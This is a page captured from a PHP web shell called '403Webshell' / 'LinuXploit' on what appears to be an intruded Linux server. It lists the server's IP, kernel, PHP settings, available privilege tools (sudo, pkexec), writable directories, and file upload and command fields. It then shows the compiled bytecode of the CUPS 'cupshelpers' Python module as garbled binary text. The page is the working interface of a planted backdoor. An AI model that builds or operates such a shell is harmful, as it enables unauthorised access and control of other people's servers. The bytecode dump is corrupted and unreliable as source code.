403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cupshelpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cupshelpers/__pycache__/cupshelpers.cpython-310.pyc
o

3�b6x�@s�ddlZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZGdd�d�Zdd	�Z
d
d�ZGdd
�d
�ZGdd�de�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zedkrqe�dSdS)�N�)�_debugprint)�config)�reducec@s�eZdZddgZdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
d/dd�Zd/dd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd0d'd(�Zd/d)d*�Zd/d+d,�Zd-d.�ZdS)1�Printer�options�localcKs\||_||_g|_t|�dk}d}|r#|jdi|��|jr!d}nd}|r)|��d|_dS)z�
        @param name: printer name
        @type name: string
        @param connection: CUPS connection
        @type connection: CUPS.Connection object
        @param kw: printer attributes
        @type kw: dict indexed by string
        rTFN�)�name�
connection�
class_members�len�update�is_class�
getAttributes�_ppd)�selfr
r�kw�have_kw�fetch_attrsr	r	�9/usr/lib/python3/dist-packages/cupshelpers/cupshelpers.py�__init__s	
zPrinter.__init__cCs|jdur
t�|j�dSdS�N)r�os�unlink�rr	r	r�__del__9s
�zPrinter.__del__cC�
d|jS)Nz<cupshelpers.Printer "%s">)r
rr	r	r�__repr__=�
zPrinter.__repr__c	Csrdd�}d}t|�}tjD])}|�|�r6|||d��}||jvr"q
|dkr(d}t||t|jtt|�@��q
dS)NcSs|��Sr)�lower)�strr	r	r�_ascii_lowerBsz+Printer._expand_flags.<locals>._ascii_lower�
CUPS_PRINTER_�classr)	r
�cups�__dict__�
startswith�_flags_blacklist�setattr�bool�type�getattr)rr"�prefix�
prefix_lengthr
�	attr_namer	r	r�
_expand_flags@s

����zPrinter._expand_flagscKs�|�dd�|_|jtjk|_|�dd�|_|�dd�|_|�dd�|_|�dd�|_|�d	d�|_	|�d
d�|_
|�dd�|_t
|j�tkrK|jg|_|�
�|jdurY|j|_|`|�dg�|_t
|j�tkrn|jg|_|j��||_dS)
z�
        Update object from printer attributes.

        @param kw: printer attributes
        @type kw: dict indexed by string
        z
printer-staterz
device-uri�zprinter-infozprinter-is-sharedNzprinter-locationzprinter-make-and-modelzprinter-typezprinter-uri-supportedzmember-names)�get�stater%�IPP_PRINTER_STOPPED�enabled�
device_uri�info�	is_shared�location�make_and_modelr+�
uri_supported�listr0�
not_sharedr�sort�other_attributes)rrr	r	rrSs(





zPrinter.updatecCs�|j�|j�}i|_i|_dddgfdgd�fd�|_|��D]h\}}|�d�rl|dtd��}|dvr6q|�	|d	d�pF|j�	|d�pFd
}t
|t�rStdd�|�}||j|<|d	|vrk||d	}||f|j|<q|�d	�s�|d
kr�|dkr�|dkr�|�
d�s�||j|<q|�	d
d�\|_|_|�	ddg�|_|�	dd�|_|�	ddg�|_|�	dd
�p�d|_|�	ddg�|_d|_g|_d|vr�|d|_d|_n	d|vr�|d|_d�|j�|_|jdi|��dS)z�
        Fetch further attributes for the printer.

        Normally only a small set of attributes is fetched.  This
        method is for fetching more.
        �False�True�none)rB�singlezsingle-thick�doublezdouble-thick)�	landscapezpage-borderz-defaultN)z
job-sheets�printer-error-policy�printer-op-policyz
notify-eventszdocument-formatznotify-lease-durationz
-supportedr1cSs|d|S)N�,r	)�x�yr	r	r�<lambda>�sz'Printer.getAttributes.<locals>.<lambda>zjob-sheets-defaultrFrGzrequesting-user-name-)rBrBzjob-sheets-supportedzprinter-error-policy-supported�defaultzprinter-op-policy-supportedTzrequesting-user-name-allowedFzrequesting-user-name-deniedz, r	)r�getPrinterAttributesr
�
attributesr?�possible_attributes�items�endswithr
r2�
isinstancer<rr'�job_sheet_start�
job_sheet_end�job_sheets_supported�error_policy�error_policy_supported�	op_policy�op_policy_supported�
default_allow�except_users�join�except_users_stringr)r�attrs�key�valuer
�	supportedr	r	rrosh

�
��

�
�
����

zPrinter.getAttributescCsR|jd�d�s
dS|jddd�}|�d�d}|�d�d}|dkr'd}|S)	zc
        Find out which server defines this printer.

        @returns: server URI or None
        rzipp://N��/�:zlocalhost.localdomain�	localhost)r;r'�split)r�urir	r	r�	getServer�szPrinter.getServerc
Cs�d}|jdur9z|j�|j�|_t�|j�}Wn!tjy8}z|j\}}|tjkr-d}n�WYd}~nd}~ww|durH|jdurHt�|j�}|S)z�
        Obtain the printer's PPD.

        @returns: cups.PPD object, or False for raw queues
        @raise cups.IPPError: IPP error
        NF)	rr�getPPDr
r%�PPD�IPPError�args�
IPP_NOT_FOUND)r�result�emargs�e�mr	r	rri�s 


���zPrinter.getPPDcCsDt|t�rt�tj�}|dkrt|��|d�}|j�|j	||�dS)z�
        Set a printer's option.

        @param name: option name
        @type name: string
        @param value: option value
        @type value: option-specific
        �.N)
rR�float�locale�nl_langinfo�	RADIXCHARr!�replacer�addPrinterOptionDefaultr
)rr
r`�	radixcharr	r	r�	setOption�s

	zPrinter.setOptioncC�|j�|j|�dS)zh
        Unset a printer's option.

        @param name: option name
        @type name: string
        N)r�deletePrinterOptionDefaultr
)rr
r	r	r�unsetOption��zPrinter.unsetOptionNcC�B|r|j�|j�dS|r|jj|j|d�dS|j�|j�dS)z�
        Set the printer's enabled state.

        @param on: whether it will be enabled
        @type on: bool
        @param reason: reason for this state
        @type reason: string
        ��reasonN)r�
enablePrinterr
�disablePrinter�r�onr�r	r	r�
setEnabled��
	zPrinter.setEnabledcCr)z�
        Set the printer's accepting state.

        @param on: whether it will be accepting
        @type on: bool
        @param reason: reason for this state
        @type reason: string
        r�N)r�
acceptJobsr
�
rejectJobsr�r	r	r�setAcceptingr�zPrinter.setAcceptingcCr{)zy
        Set the printer's shared state.

        @param on: whether it will be accepting
        @type on: bool
        N)r�setPrinterSharedr
)rr�r	r	r�	setSharedr~zPrinter.setSharedcCr{)zs
        Set the printer's error policy.

        @param policy: error policy
        @type policy: string
        N)r�setPrinterErrorPolicyr
�r�policyr	r	r�setErrorPolicyr~zPrinter.setErrorPolicycCr{)z{
        Set the printer's operation policy.

        @param policy: operation policy
        @type policy: string
        N)r�setPrinterOpPolicyr
r�r	r	r�setOperationPolicy'r~zPrinter.setOperationPolicycCs|j�|j||�dS)z�
        Set the printer's job sheets.

        @param start: start sheet
        @type start: string
        @param end: end sheet
        @type end: string
        N)r�setPrinterJobSheetsr
)r�start�endr	r	r�setJobSheets0s	zPrinter.setJobSheetscCs�t|t�r*|��}dd�|D�}g}|D]}|�|�qdd�|D�}dd�|D�}|r6|j�|j|�dS|j�|j|�dS)z�
        Set access control list.

        @param allow: whether to allow by default, otherwise deny
        @type allow: bool
        @param except_users: exception list
        @type except_users: string list
        cS�g|]}|�d��qS)rH)rf��.0�ur	r	r�
<listcomp>F�z%Printer.setAccess.<locals>.<listcomp>cSsg|]}|���qSr	)�stripr�r	r	rr�J�cSsg|]}|r|�qSr	r	)r��_fr	r	rr�Kr�N)rRr!rf�extendr�setPrinterUsersDeniedr
�setPrinterUsersAllowed)r�allowr[�usersr�r	r	r�	setAccess;s
	zPrinter.setAccessFc	Cs�g}zz
gd�}|jj|d�}Wnty|j��}YnwWntjy,|YSw|��D]?\}}z|d}||�d�dd�}WnYq1||jkrRq1|r^d|vrp|ddkrp|�|�|durpt	|�|krp|Sq1|S)	z�
        Find out whether jobs are queued for this printer.

        @param only_tests: whether to restrict search to test pages
        @type only_tests: bool
        @returns: list of job IDs
        )�job-id�job-printer-uri�job-name)�requested_attributesr�rcrNr�z	Test Page)
r�getJobs�	TypeErrorr%rkrP�rindexr
�appendr
)	r�
only_tests�limit�ret�r�jobs�idr^rgr	r	r�
jobsQueuedRs:���

�zPrinter.jobsQueuedcCs�g}z!zgd�}|jjd|d�}Wnty!|jjdd�}YnwWntjy/|YSw|��D]>\}}z|d}||�d�dd�}WnYq4||jkrUq4|�d	tj	�tj
kr`q4|�|�|durrt|�|krr|Sq4|S)
zo
        Find out whether there are preserved jobs for this printer.

        @return: list of job IDs
        )r�r��	job-state�	completed)�
which_jobsr�)r�r�rcrNr�)
rr�r�r%rkrPr�r
r2�IPP_JOB_PENDING�IPP_JOB_COMPLETEDr�r
)rr�r�r�r�r�r^rgr	r	r�
jobsPreservedwsD
����
��
�zPrinter.jobsPreservedcCs|jd|d�S)zl
        Find out whether test jobs are queued for this printer.

        @returns: list of job IDs
        T)r�r�)r�)rr�r	r	r�testsQueued�szPrinter.testsQueuedc
Cs�|j�|j�t����}zd}|jj||��d�Wn+tjyE}z|j	\}|tj
tjfvr<WYd}~Wd�dSt�|��d}~ww|�d�dd�|�
�D�}d}d}|D]#}|�d�r}|�d	�d
}	|	|jkryd|dd�||<d
}|d
7}qZ|r�|�d�|�dd�|D��|��|��|�d�z|jj||��d�Wntjy�YWd�dSw|Wd�S1s�wYdS)z9
        Set this printer as the system default.
        z/admin/conf/lpoptions)�fdNFrcSr��zUTF-8)�decode�r��liner	r	rr��r�z(Printer.setAsDefault.<locals>.<listcomp>zDefault � rzDest �TcSr�r�)�encoder�r	r	rr��r�)r�
setDefaultr
�tempfile�
TemporaryFile�getFile�filenor%�	HTTPErrorrl�HTTP_NOT_FOUND�HTTP_AUTHORIZATION_CANCELED�seek�	readlinesr'rf�
writelines�truncate�flush�putFile)
r�f�resourcerp�s�lines�changed�ir�r
r	r	r�setAsDefault�sN

�
	��


�

�!$�zPrinter.setAsDefaultr)FN)�__name__�
__module__�__qualname__r(rrrr0rrrhrirzr}r�r�r�r�r�r�r�r�r�r�r�r	r	r	rrs.D
	
			

%
#rcCs\|��}|��}|��D]\}}t||fi|��}|||<||vr+|||_|j��q|S)z�
    Obtain a list of printers.

    @param connection: CUPS connection
    @type connection: CUPS.Connection object
    @returns: L{Printer} list
    )�getPrinters�
getClassesrPrrr>)r�printers�classesr
�printerr	r	rr��s

�r�cCs�i}|�d�}|D]}|�d�dkrq	|�dd�\}}|��||��<q	d|vr0|�d|d�d|vr<|�d|d�d	|vrH|�d
|d	�dD]}|�|d�qJ|d
dkr_g|d
<|S|d
�d
�|d
<|S)z�
    Parse an IEEE 1284 Device ID, so that it may be indexed by field name.

    @param id: IEEE 1284 Device ID, without the two leading length bytes
    @type id: string
    @returns: dict indexed by field name
    �;rd���r�MANUFACTURER�MFG�MODEL�MDLzCOMMAND SET�CMD)	r�r�r��CLS�DES�SN�S�P�Jr1rH)rf�findr��
setdefault)r��id_dict�pieces�piecer
r`r	r	r�
parseDeviceID�s(
�r�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Devicez.
    This class represents a CUPS device.
    cKs�||_|�dd�|_|�dd�|_|�dd�|_|�dd�|_|�dd�|_|�d�}|d|_t	|�d	k|_
t|j�|_|�
d
�}|dkrZ|j�dd�s\||d
d�|jd<dSdSdS)z~
        @param uri: device URI
        @type uri: string
        @param kw: device attributes
        @type kw: dict
        zdevice-classr1zdevice-infozdevice-make-and-modelz	device-idzdevice-locationrdrrzserial=r�r��N)rgr2�device_classr7r:r�r9rfr+r
rr�r�r�)rrgr�
uri_piecesr�r	r	rrs


�zDevice.__init__cCr)Nz<cupshelpers.Device "%s">)rgrr	r	rrrzDevice.__repr__cCs�|durdS|j|jkr|jrdSdS|j}|dkr:|j�d�dkr%d}n|j�d�dkr0d	}n
|j�d
�dkr:d}|dkrJ|j���d
�dkrJd}|j}|dkrq|j�d�dkr\d}n|j�d�dkrgd	}n
|j�d
�dkrqd}|dkr�|j���d
�dkr�d}|j�s-||k�r-|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|dkr�dS|d	kr�dS|d	kr�dS|dkr�dS|dkr�dS|dkr�dS|dk�rdS|dk�r
dS|dk�rdS|dk�rdS|dk�rdS|dk�r&dS|dk�r-dSt|j�t|j�k}|�s@|j|jk}|S)z9
        Compare devices by order of preference.
        NTF�dnssdz._ippr��dnssdiz._pdl-datastream�dnssdsz	._printer�dnssdl�usb�fax�usbfax�serial�parallel�hp�hpfax�ipps�ipp�socket�lpd)rr+rgr�r r*r�r7)r�other�stype�otypernr	r	r�__lt__!s�






z
Device.__lt__N)r�r�r��__doc__rrr
r	r	r	rr��s
r�c@seZdZdd�Zdd�ZdS)�_GetDevicesCallcCsPd|vr|�d�|_|j|d<|jdi|��Sd|_|jdi|��}|�||�S)N�
reply_handlerr	)r2�_client_reply_handler�_reply_handler�
getDevices)rr�kwdsrnr	r	r�call�s
z_GetDevicesCall.callcCs`|��D]\}}t|fi|��}|||<|jdkr"|jdkr"|j|_q|jr.|�||�dS|S)Nr1)rPr�r7r:r)rr�devicesrg�data�devicer	r	rr�s�z_GetDevicesCall._reply_handlerN)r�r�r�rrr	r	r	rr�s
rcKst�}|�||�S)z�
    Obtain a list of available CUPS devices.

    @param connection: CUPS connection
    @type connection: cups.Connection object
    @returns: a list of L{Device} objects
    @raise cups.IPPError: IPP Error
    )rr)rr�opr	r	rr�s	rcCs2|�|�|�|�|��dur|�|�dSdS)a
    Set a new printer enabled, accepting jobs, and (if necessary) the
    default printer.

    @param connection: CUPS connection
    @type connection: cups.Connection object
    @param name: printer name
    @type name: string
    @raise cups.IPPError: IPP error
    N)r�r��
getDefaultr�)rr
r	r	r�activateNewPrinter�s


�rcs��fdd���fdd�}||�D]9}|jdkrq|�|j�}|rI|j|jkrI|j}|jD]}|d|krH|�|j|�tdt|j�t|�f�q,qdS)	z�
    Copy default options between PPDs.

    @param ppd1: source PPD
    @type ppd1: cups.PPD object
    @param ppd2: destination PPD
    @type ppd2: cups.PPD object
    cs,|jdd�}|jD]	}|��|��q
|Sr)r�	subgroupsr�)�groupr�g��getPPDGroupOptionsr	rr�s
z*copyPPDOptions.<locals>.getPPDGroupOptionsc3s&�|jD]}�|�D]}|Vq
qdSr)�optionGroups)�ppdr�optionrr	r�iteratePPDOptions�s�
��z)copyPPDOptions.<locals>.iteratePPDOptions�
PageRegion�choicezset %s = %sN)�keyword�
findOption�ui�	defchoice�choices�
markOptionr�repr)�ppd1�ppd2r!r �
new_optionr`r#r	rr�copyPPDOptions�s 	

���r.cCs�d}gd�}|D]}||krd}qz5td�}|D](}|�d�r q|�����d�r,d}q|�����d�r8d}q|��dkr@nq|��WnYz|�d	|�td
|�WdStd|�YdS)
z�
    Set the PPD page size according to locale.

    @param ppd: PPD
    @type ppd: cups.PPD object
    @param language: language, as given by the first element of
    locale.setlocale
    @type language: string
    �A4)�C�POSIX�en�en_US�en_CA�fr_CA�Letterz/etc/papersize�#�a4�letterr1�PageSizezset PageSize = %sz*Failed to set PageSize (%s not available?)N)�openr'r�r �closer)r)r�language�sizer9�eachr�r�r	r	r�setPPDPageSize�s4�
�r@cs d"dd�}g��fdd�}d}}|�d�}|r�|j�dd	�}|�d
d�}|�dd
�}|�dd�}|�d�dks?|�d�dkrAd	}|�d�}|D]`}|���d�}	|	D]P}
|
���d�}|d}||�}|sk||�qStj�|�dkr�t	|�}d}
d}|
|kr�||
}|�
|�r�|t	|�d�}||�}|s�||�n|
d7}
|
|ksqS|s�nqH|s�|�stjdd�\}}t�
|�|�|�t�|dtj�tj|ddd�}d}|D]9}|�
|��r
|t	|�d����d�}z
|�d�\}}}WnYq�||tjd �}|�s
|tjd!|�qԈS)#z�
    Check that all relevant executables for a PPD are installed.

    @param ppd: PPD
    @type ppd: cups.PPD object
    @returns: string list, representing missing executables
    �
/usr/bin:/bincSs�|dkrdS|�d�}|dkr|d|�}t|�dkrdS|ddkr:t�|tj�r2td|�|Std	|�dS|�d
�dkrCdS|dvrIdS|�d�D] }|�tjj	�tjj	|}t�|tj�rntd|�|SqNtd
||f�dS)N�-�builtin�%r�r�truercz	%s: foundz
%s: NOT found�=)'rdrr�[�alias�bind�break�cd�continue�declare�echo�else�eval�exec�exit�export�fi�if�kill�letr�popd�printf�pushd�pwd�read�readonly�set�shift�shopt�source�test�then�trapr+�ulimit�umask�unalias�unset�waitrdz%s: NOT found in %s)
r�r
r�access�X_OKrrf�rstrip�path�sep)r
rm�p�	component�filer	r	r�	pathcheck	s2
�z%missingExecutables.<locals>.pathcheckcs,|�d�}|dkr|d|�}��|�dS)NrDr�)r�r�)�exero��exes_to_installr	r�add_missing/s
z'missingExecutables.<locals>.add_missingN�FoomaticRIPCommandLinez&&
r1z&quot;�"z&lt;�<z&gt;�>�(r��&r��|r�r�gsrz-sIjsServer=T)�text�rtzutf-8)�encodingz*cupsFilter:z/filter:/usr/lib64/cups/filterz/filter/)rA)�findAttrr`rwr�rfr�rrm�basenamer
r'r��mkstempr�writeFd�lseek�SEEK_SET�fdopenr�cupsserverbindir)rrrrvrs�exepath�attr�cmdline�pipes�pipe�cmds�cmdrl�argn�argi�search�arg�tmpfd�tmpfnamer�r��mimetype�costr	rtr�missingExecutables�s|
$	


���


��r�cCst|�}g|fS)z�
    Check that all relevant executables for a PPD are installed.

    @param ppd: PPD
    @type ppd: cups.PPD object
    @returns: string list pair, representing missing packages and
    missing executables
    )r�)r�executablesr	r	r�missingPackagesAndExecutables�s	r�cCs,t��}t|���D]	}t|j|j�q
dSr)r%�
Connectionr�values�printrgr�)�crr	r	r�_main�s�r��__main__)r%�pprintrr��re�stringrtr1rr�	functoolsrrr�r�r��objectrrrr.r@r�r�r�r�r	r	r	r�<module>s207 (
�

Youez - 2016 - github.com/yon3zu
LinuXploit